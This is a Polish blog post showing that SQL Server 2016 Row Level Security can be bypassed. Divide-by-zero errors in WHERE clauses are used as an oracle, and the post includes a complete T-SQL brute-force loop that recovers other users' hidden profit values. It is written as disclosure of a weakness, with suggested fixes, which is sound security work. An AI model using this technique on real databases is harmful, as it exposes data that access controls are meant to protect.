Row Level Security był jedną z najbardziej wyczekiwanych funkcjonalności w SQL Server. Wraz z SQL Server 2016 dostaliśmy do dyspozycji ten mechanizm – wielu z nas po pierwszych demonstracjach wyobrażało sobie ogrom możliwości jakie on oferuje. Jednakże póki co posiada on kilka pomniejszych luk na które trzeba zwrócić uwagę – jedną z nich postaram się opisać w ramach niniejszego artykułu. Zapraszam do lektury.
Jak zapewne wiecie (a jeśli nie wiecie odsyłam do mojego artykułu gdzie opisuję Row Level Security – znajdziecie go tutaj) bohater niniejszego artykułu działa na podstawie funkcji użytkownika pełniących rolę predykatu filtrującego otrzymywany rezultat lub blokującego określone akcje. W momencie gdy użytkownik wysyła dane np. w postaci zapytania SELECT to SQL Server zgodnie z predykatem blokującym musi je odpowiednio przefiltrować i tego typu filtracja następuje dla każdego kolejnego wiersza w tabeli, którą użytkownik chce odpytać. Niesie to ze sobą pewne konsekwencje. Aby to zobrazować wykonajmy pewien przykład – na początku stwórzmy sobie bazę testową:
USE master GO DROP DATABASE IF EXISTS RowLevelSecurityDemo; GO CREATE DATABASE RowLevelSecurityDemo; GO
Następnie stwórzmy sobie schemat w którym umieścimy wszystkie funkcje związane z RLS:
USE RowLevelSecurity Demo GO CREATE SCHEMA Security GO
Stwórzmy również dwie testowe tabele, które będą kopią 1:1 dwóch tabel z bazy WideWorldImportersDW:
SELECT * INTO dbo.Sales FROM WideWorldImportersDW.Fact.Sale GO SELECT * INTO dbo.Employee FROM WideWorldImportersDW.Dimension.Employee GO CREATE CLUSTERED COLUMNSTORE INDEX [CCI_Sales] ON [dbo].[Sales] WITH (DROP_EXISTING = OFF, COMPRESSION_DELAY = 0) GO CREATE CLUSTERED INDEX [CIX_Employee] ON [dbo].[Employee] ( [Employee Key] ASC ) GO
Kolejnym krokiem będzie stworzenie użytkownika o loginie “Taj”, któremu nadamy prawo odczytu danych z obu nowo powstałych tabel oraz damy mu uprawnienie SHOWPLAN aby mógł podglądać plany wykonania:
CREATE USER [Taj] WITHOUT LOGIN GRANT SELECT ON dbo.Sales TO Taj; GRANT SELECT ON dbo.Employee TO Taj; GRANT SHOWPLAN TO Taj;
Gdy mamy gotowe obiekty testowe przejdźmy do implementacji Row Level Security- po pierwsze stworzymy funkcję, która będzie predykatem filtrującym tj. będzie zwracać tylko te dane z tabeli Sales, które są odpowiednie dla odpytującego użytkownika. W skrócie można powiedzieć, że dane z tabeli Sales będą połączone z tabelą Employee i przefiltrowane aby pokazywać tylko tą sprzedaż z którą jest połączony aktualnie odpytujący użytkownik tj. w tabeli Employee kolumna Preferred Name będzie równa jego loginowi.Ponadto dodaliśmy warunek, że jeżeli użytkownik będzie należał do grupy sysadmin to wszystkie wiersze mają zostać zwrócone:
ALTER FUNCTION security.fn_secureSales(@SalesPersonID AS INT) RETURNS TABLE WITH SCHEMABINDING AS RETURN SELECT 1 AS result WHERE EXISTS( SELECT NULL FROM dbo.Employee AS E WHERE( E.[Employee Key]=@SalesPersonID AND E.[Preferred Name] = USER_NAME() ) OR IS_SRVROLEMEMBER('sysadmin')=1 )
Następnie stwórzmy sobie Politykę Bezpieczeństwa i przypiszmy do niej naszą funkcję jako predykat blokujący od razu ją przy tym włączając:
CREATE SECURITY POLICY SalesFilter ADD FILTER PREDICATE security.fn_secureSales([Salesperson Key]) ON dbo.Sales WITH (STATE = ON); GO
Teraz przetestujmy nasz mechanizm zabezpieczeń – przełączmy się na użytkownika Taj i wykonajmy proste polecenie SELECT:
EXECUTE AS USER = 'Taj'; SELECT * FROM dbo.Sales;
Wszystko działa w porządku i użytkownik nie ma dostępu do innych danych niż swoje – czy aby na pewno? Upewnijmy się wykonując zapytanie, które powinno zwrócić tylko nazwę naszego loginu czyli Taj:
SELECT DISTINCT E.[Preferred Name] FROM dbo.Sales AS S JOIN dbo.Employee AS E ON S.[Salesperson Key]=E.[Employee Key]
Spójrzmy na plan zapytania SELECT * FROM Sales wykonywany jako użytkownik Taj. Po lewej stronie plan estymowany po prawej plan aktualny:
Estymowana liczba wierszy jest zdecydowanie inna niż aktualna ze względu na fakt, iż nasz plan został pobrany z cache gdzie trafił on wcześniej gdy wywołałem to zapytanie jako administrator i widziałem wszystkie wiersze. Możliwość podglądania planów zapytań daje nam pewne możliwości interpretacji wyników bo sama liczba wierszy pozwala wysnuć pewne wnioski. Co ciekawe sama filtracja wierszy przez predykat blokujący ma miejsce w Nested Loops:
Bazując na powyższym planie możemy zakładać, że odfiltrowanie danych zgodnie z regułami bezpieczeństwa może mieć miejsce po odczytaniu danych operatorem Index Scan. Jaki z tego wniosek? A no taki, że przed zastosowaniem reguły bezpieczeństwa możemy wstawić własny warunek! O co mi chodzi? Sprawdźmy na przykładzie! W ramach naszej testowej tabeli mamy kolumnę Profit, która zawiera informację o zysku transakcji – jak poznać tę wartość dla innych pracowników niż my sami? Wystarczy wywołać błąd! Tak nie przeczytaliście tego źle – wystarczy wywołać błąd dzielenia przez zero:
select * from dbo.Sales where Profit/(Profit-8.5)=0
Jeżeli powyższe zapytanie zwróci błąd oznacza to, że któryś rekordów w kolumnie Profit posiadał wartość 8.5 ponieważ 8.5/0 wygeneruje nam właśnie ten błąd. Pojawia się tutaj pytanie czy to któryś z rekordów przypisanych do naszego bieżącego użytkownika? Otóż niekoniecznie!
Msg 8134, Level 16, State 1, Line 123 Divide by zero error encountered.
Spójrzcie na plan wykonania i to gdzie nastąpiła filtracja w tym przypadku:
Została ona wykonana bardzo wcześnie bo już przy skanowaniu indeksu kolumnowego czyli tak jak zakładaliśmy przed zastosowaniem filtracji wg. reguł bezpieczeństwa. Oznacza to dla nas, że tak naprawdę możemy uzyskać informacje z jakim zyskiem zostały zrealizowane transakcje innych osób!
Aby tego dokonać wystarczy, że wykonamy zapytanie w kilku pętlach. Pierwsza pętla będzie przebiegała po identyfikatorach użytkowników – zakładamy, że są to liczby całkowite. Druga pętla będzie przebiegała po datach w zadanym okresie czasu, trzecia z kolei będzie sprawdzała wartość potencjalnego zysku. Jeżeli nastąpi błąd dzielenia przez zero oznacza to, że natrafiliśmy na właściwą kombinację daty, identyfikatora użytkownika oraz zysku. Aby nasza pętla nie przerwała swojego działania w momencie gdy natrafi na pierwszy błąd – przechwycimy ten błąd i bieżące wartości umieścimy w tabeli tymczasowej, którą będziemy mogli później odczytać. Dla szybkości działania sprawdzimy możliwe wpisy dla identyfikatorów od 0 do 10
SET NOCOUNT ON GO DECLARE @CurrentUserID INT=1 DECLARE @Profit DECIMAL(18,4)=0 DECLARE @MaxProfit DECIMAL(18,4)=20.0 DECLARE @StartDate date='20130101' DECLARE @EndDate date='20130110' DECLARE @CurrentDate date=@StartDate DECLARE @DummyVar INT DROP TABLE IF EXISTS #EmployeeProfits CREATE TABLE #EmployeeProfits ( PersonID int, Profit decimal(18,4), DealDate date ) WHILE @CurrentUserID<10 BEGIN print @CurrentUserID WHILE @CurrentDate<=@EndDate BEGIN print @CurrentDate WHILE @Profit<=@MaxProfit BEGIN BEGIN TRY SET @DummyVar=( SELECT 1 FROM dbo.Sales AS S WHERE [SalesPerson Key]=@CurrentUserID AND CAST(Profit AS DECIMAL(18,4))/(CAST(Profit AS DECIMAL(18,4))-@Profit)=0 AND S.[Invoice Date Key]=@CurrentDate) END TRY BEGIN CATCH IF ERROR_NUMBER()=8134 BEGIN print 'Record found!' INSERT INTO #EmployeeProfits VALUES(@CurrentUserID,@Profit,@CurrentDate) END END CATCH SET @Profit=@Profit+0.01 END SET @Profit=0 SET @CurrentDate=DATEADD(DAY,1,@CurrentDate) END SET @CurrentDate=@StartDate SET @CurrentUserID=@CurrentUserID+1 END
Już w trakcie wykonywania zauważymy, że nasz algorytm działa i do naszej testowej tabeli trafiły jakieś wpisy:
Po wykonaniu naszej pętli wróćmy do naszego oryginalnego kontekstu i sprawdźmy czy nasza testowa tabela odpowiada rzeczywistym danym w tabeli Sales:
select * from #EmployeeProfits Order by PersonID,DealDate,Profit select [Salesperson Key] AS PersonID, Profit, [Invoice date key] AS DealDate from dbo.Sales where [Salesperson Key]<10 AND [Invoice date key] BETWEEN '20130101' AND '20130110' AND Profit> 0 AND Profit<=20 Order by PersonID,DealDate,Profit
Wiecie co? Nasza tabela jest niemal identyczna z tym co znajduje się w oryginalnej tabeli Sales! Jedyna różnica polega na tym, że nasza pętla nie wyłapała sytuacji gdy ten sam SalesPerson w tym samym dniu zawarł transakcję z tym samym zyskiem – myślę, że gdybyśmy bardziej dopracowali nasz algorytm to moglibyśmy odwzorować całą tabelę sprzedażową! Czy jest to błąd ze strony Row Level Security? Jak najbardziej tak! Bo widać w jak łatwy sposób można obejść to ograniczenie.
Czy powyższa pętla spełnia swoją rolę tylko i wyłącznie w przypadku liczb? Oczywiście, że nie – możemy również stworzyć coś takiego na polach tekstowych i również uzyskać sztuczny błąd:
select * from dbo.Sales where 1/IIF(Package='each',0,1)=0
Jednakże nie we wszystkich scenariuszach uzyskamy dane – w przypadku długich pól tekstowych będzie to trudne zadanie (co nie znaczy niemożliwe). Jednakże mimo wszystko wydaje mi się, że błąd z dzieleniem przez zero jest poważną luką bezpieczeństwa i jedynym rozwiązaniem jakie na ten moment widzę jest przeniesienie filtracji rekordów na dalszą część planu wykonania co oczywiście wpłynie negatywnie na wydajność. Innym sposobem na załatanie tej luki byłoby automatyczne obsłużenie błędu 8134 w sekcji WHERE gdy włączony jest RLS tj. w przypadku jego wystąpienia rekord nie był by zwracany. Na ten moment mechanizm Row Level Security mimo ogromnego potencjału nie może być zastosowany w każdym przypadku i należy do niego podchodzić z ostrożnością.
- Avoiding Issues: Monitoring Query Pushdowns in Databricks Federated Queries - October 27, 2024
- Microsoft Fabric: Using Workspace Identity for Authentication - September 25, 2024
- Executing SQL queries from Azure DevOps using Service Connection credentials - August 28, 2024
Last comments